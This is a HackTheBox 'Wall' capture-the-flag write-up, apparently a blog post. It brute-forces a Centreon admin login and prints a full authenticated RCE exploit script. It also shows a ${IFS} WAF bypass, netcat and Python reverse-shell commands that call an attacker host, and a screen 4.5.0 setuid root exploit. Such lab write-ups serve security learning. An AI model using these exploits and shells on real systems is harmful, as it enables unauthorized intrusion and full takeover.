HackTheBox - Wall

— Written by — 10 min read
wall-hackthebox

Wall was an interesting box, exploit oriented. The initial foothold was not straight forward to find and took a bit of time to finally figure out.

First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.157 wall.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ nmap -sV -sT -sC wall.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-28 16:25 CET
Nmap scan report for wall.htb (10.10.10.157)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds

We have a classical web app running on port 80 and the ssh port 22 open.

Opening http://wall.htb display the Apache2 Ubuntu Default Page as nmap told us:

Wall website

The source code of the page do not reveal any sneaky hidden code so let’s move on.

We launch gobuster to see if we can find interresting files and/or directories :

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ gobuster dir -u http://wall.htb/ -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/aa.php (Status: 200)
/monitoring (Status: 401)
/panel.php (Status: 200)
/server-status (Status: 403)

Two files looks interesting here : aa.php and panel.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[[email protected] ~]$ http wall.htb/aa.php
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 1
Content-Type: text/html; charset=UTF-8
Date: Mon, 28 Oct 2019 15:48:45 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.29 (Ubuntu)

1

[[email protected] ~]$ http wall.htb/panel.php
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 26
Content-Type: text/html; charset=UTF-8
Date: Mon, 28 Oct 2019 15:49:13 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.29 (Ubuntu)

Just a test for php file !

Hum we do not have too much informations here. /monitoring and /server-status prompt Basic Auth.

From here we didn’t make a lot of progress. Trying to brute-force the Basic Auth of /monitoring and /server-status doesn’t gives results. We don’t even have any particular informations on the two php files.
After getting into rabbit holes for a few times I decided to try different HTTP Method on the php endpoints with a simple command:

1
2
3
4
[[email protected] ~]$ for method in GET HG8 POST PUT PATCH DELETE OPTIONS TRACE CONNECT; do
> echo "\n$method:"
> curl -X $method http://wall.htb/aa.php
> done

No interresting results, neither on panel.php. Out of despair I decide to try on the /monitoring endpoint. And finally:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ for method in GET HG8 POST PUT PATCH DELETE OPTIONS TRACE CONNECT; do
echo "\n$method:"
curl -X $method http://wall.htb/monitoring/
done
[...]
POST:
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />
[...]

Interresting, the /centreon endpoint slipped from the gobuster enumeration. Maybe a bigger wordlist might have discovered it. For future references I add this endpoint to the wordlist I use the most :

1
[[email protected] ~]$ echo centreon >> ~/SecLists/Discovery/Web-Content/big.txt

We got our initial foothold. Opening the page show the classical Centreon login page :

Wall Centreon login page

For reference :

Centreon is a network, system, applicative supervision and monitoring tool
https://www.centreon.com

The login page display the version number: v. 19.04.0. Searching for exploits on this version we found a Remote Code Execution vulnerability:

1
2
3
4
5
[[email protected] ~]$ getsploit centreon
Total found exploits: 10
Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit+AND+centreon

Centreon 19.04 - Remote Code | https://vulners.com/exploitdb/EDB-ID:47069

Unfortunately this is a Authenticated RCE and we have no way to bypass authentication. Since we don’t have any clues, let’s try to bruteforce with user admin.

To avoid the struggle of centreon token on the login page we will use the Centreon API instead. The documentation is available on the Centreon documentation.

I like to use Probable-Wordlists instead of the classic rockyou.txt that countains too much garbages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[[email protected] ~]$ wget https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top304Thousand-probable-v2.txt
2019-10-28 17:38:52 (15.4 MB/s) - ‘Top304Thousand-probable-v2.txt’ saved [2811012/2811012]
[[email protected] ~]$ wfuzz -z file,Top304Thousand-probable-v2.txt -d "username=admin&password=FUZZ" --hc 403 http://wall.htb/centreon/api/index.php\?action\=authenticate
********************************************************
* Wfuzz 2.4.1 - The Web Fuzzer *
********************************************************

Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 303872

===================================================================
ID Response Lines Word Chars Payload
===================================================================

000000048: 200 0 L 1 W 61 Ch "password1" ^C

We now have the credentials, let’s login and try to execute the exploit. The exploit author wrote a blog post explaining in detail the issue and how the exploit work. It’s a very useful ressource to tweak the exploit to make it working on this box.

I had to tweak a few lines to make it work it work properly on that box, my final script was :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

url = "http://wall.htb/centreon"
username = "admin"
password = "password1"
ip = "10.10.10.10"
port = 8585

command = sys.argv[1]

request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, features="html.parser")
token = soup.findAll('input')[3].get("value")

login_info = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In")
print("[+] Retrieving Poller token")

poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_html = get_poller_token.text
poller_soup = BeautifulSoup(poller_html, features="html.parser")
poller_token = poller_soup.findAll('input')[25].get("value")
print("[+] Poller token is : {0}".format(poller_token))

payload_info = {
"name": "Central66",
"ns_ip_address": "127.0.0.1",
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
"nagios_bin": command,
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}

send_payload = request.post(poller_configuration_page, payload_info)
print(send_payload.text)
print("[+] Injecting Done.")
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
r = request.post(generate_xml_page, xml_page_data)


else:
print("[-] Wrong credentials")
exit()

The exploit takes one argument which is the command we want to run. Let’s try to run a netcat reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[[email protected] ~]$ python exploit.py "nc -e /bin/sh 10.0.0.1 8585"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26
[+] Logged In
[+] Retrieving Poller token
[+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /centreon/main.get.php
on this server.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at wall.htb Port 80</address>
</body></html>

[+] Injecting Done.

Hum, we get stuck with Forbidden.

Seems like a WAF (web application firewall) is in place (probably the why the box name is Wall). When we send a simple test command, like test the injection succeed. Let’s try to send a few special char we had in our netcat command to find which one exactly is filtered :

1
2
3
4
5
6
7
[[email protected] ~]$ python exploit.py "-/,."
[+] Retrieving CSRF token to submit the login form
[+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26
[+] Logged In
[+] Retrieving Poller token
[+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca
[+] Injecting Done.

No blocking this time… So what remains ? The space of course…. Let’s give it a try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[[email protected] ~]$ python exploit.py "test test"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26
[+] Logged In
[+] Retrieving Poller token
[+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /centreon/main.get.php
on this server.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at wall.htb Port 80</address>
</body></html>

[+] Injecting Done.

So now we have to find a solution to use command without spaces… Searching a bit online we find that it’s possible to use the Internal field separator :

The shell treats each character of $IFS as a delimiter, and splits the results of the other expansions into words on these characters.

Let’s give it try:

1
2
[[email protected] ~]$ echo$IFStest
[[email protected] ~]$

Unfortunately this doesn’t seems to work but using the brackets works!

1
2
[[email protected] ~]$ echo${IFS}test
test

Let’s try edit our exploit to replace spaces with the IFS:

1
2
3
4
[...]
command = sys.argv[1]
+ command = command.replace(' ', '${IFS}')
[...]

This time we are going to open a local web server to have feedback on wether our command injection worked on not. In a new terminal let’s open a python simple http server:

1
2
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

And let’s run our exploit again:

1
2
3
4
5
6
7
[[email protected] ~]$ python exploit.py "wget 10.10.10.10:8000/hg8.py -O /tmp/hg8.py"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 56855cc04ceb87148ce7d83c4b90bd9e
[+] Logged In
[+] Retrieving Poller token
[+] Poller token is : 7b642628745280f86fc6100f43fd7ad9
[+] Injecting Done.

And on our web server we see a new entry:

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.10 - - [29/Oct/2019 13:29:27] "GET /hg8.py HTTP/1.1" 200 -

The hg8.py countains a python reverse shell:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8585));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Since we managed to write it to the server, let’s run it now. We first open our nc listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

And run the exploit again :

1
2
3
4
5
6
7
[[email protected] ~]$ python exploit.py "python /tmp/hg8.py"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26
[+] Logged In
[+] Retrieving Poller token
[+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca
[+] Injecting Done.

And the shell open in our reverse shell:

1
2
3
4
5
6
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.157:50472
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)

We got our first shell. Time to move onto the user flag.

Let’s enumerate what we have here :

1
2
3
4
5
6
7
8
$ ls -l /home
total 8
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
$ find / -perm -u=s -type f 2>/dev/null
[...]
/bin/screen-4.5.0
[...]

Interresting, I always run a search for binaries with setuid bit enabled first and this returned screen in version 4.5.0.

As a reminder :

Binaries with the setuid bit enabled, are being executed as if they were running under the context of the root user. This enables normal (non-privileged) users to use special privileges, like opening sockets. While this seems unnecessary for a normal user, it is actually needed for simple commands like ping.

After a bit of search we stumbled upon a bug that allows to privilege escalte to root with screen 4.5.0 and setuid bit set.
Let’s give it a try !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[[email protected] ~]$ wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh
2019-10-29 14:59:15 (4.83 MB/s) - ‘screenroot.sh’ saved [1152/1152]
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

[email protected]:/tmp$ wget 10.0.0.1:8000/screenroot.sh
2019-10-29 14:59:58 (8.32 MB/s) - ‘screenroot.sh’ saved [1152/1152]
[email protected]:/tmp$ bash screenroot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)

We got our root shell !

We skipped the pivot to user part (if there was any) but we can now access easily to both flags:

1
2
3
4
# cat /home/shelby/user.txt
fe6194544f45xxxxx5b12f8da8406
# cat /root/root.txt
1fdbcf8c33exxxxxx2e1b4d5db7

Later I will give this box another try to pivot correctly to the shelby user if it’s possible and update this writeup.

EDIT: Here how the pivot was possible : https://0xdf.gitlab.io/2019/12/07/htb-wall.html#priv-www-data--shelby

As always do not hesitate to contact me for any questions or feedbacks.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , , , ,